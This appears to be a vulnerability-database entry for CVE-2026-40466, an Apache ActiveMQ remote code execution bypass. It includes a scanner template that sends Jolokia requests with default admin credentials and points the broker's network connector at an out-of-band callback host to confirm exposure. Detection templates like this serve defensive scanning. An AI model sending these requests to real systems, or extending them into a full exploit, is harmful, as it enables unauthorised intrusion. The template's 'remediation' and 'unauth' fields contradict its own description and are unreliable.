CVE-2026-40466: Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass

2026-05-09 Apache ActiveMQ PoC Public

Description

Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the "all" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.

PoC

id: CVE-2026-40466

info:
  name: Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the "all" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.
  impact: |
    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
  remediation: Attacker must be authenticated and activemq-http module must be on classpath.
  reference:
    - https://activemq.apache.org/security-advisories.data/CVE-2026-40466-announcement.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40466
    - https://github.com/advisories/GHSA-w3w2-mpp5-92gm
    - https://github.com/apache/activemq/pull/1918
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-40466
    cwe-id: CWE-20,CWE-94
    epss-score: 0.04783
    epss-percentile: 0.91468
    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: activemq
    shodan-query: product:"ActiveMQ"
  tags: cve,cve2026,activemq,apache,rce,jolokia,oob,http,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json
        Origin: {{RootURL}}

        {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}

      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json
        Origin: {{RootURL}}

        {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["http://{{interactsh-url}}/discovery"]}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"request":{'
          - 'org.apache.activemq'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f96505010a920b4ccf8c348369c6a4ebf44179cc7ca29a7e69549767df3b62230221009e733d32cc6a024751a19a4177b57985e1879ae59f1473b6e703153468ea4d84:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities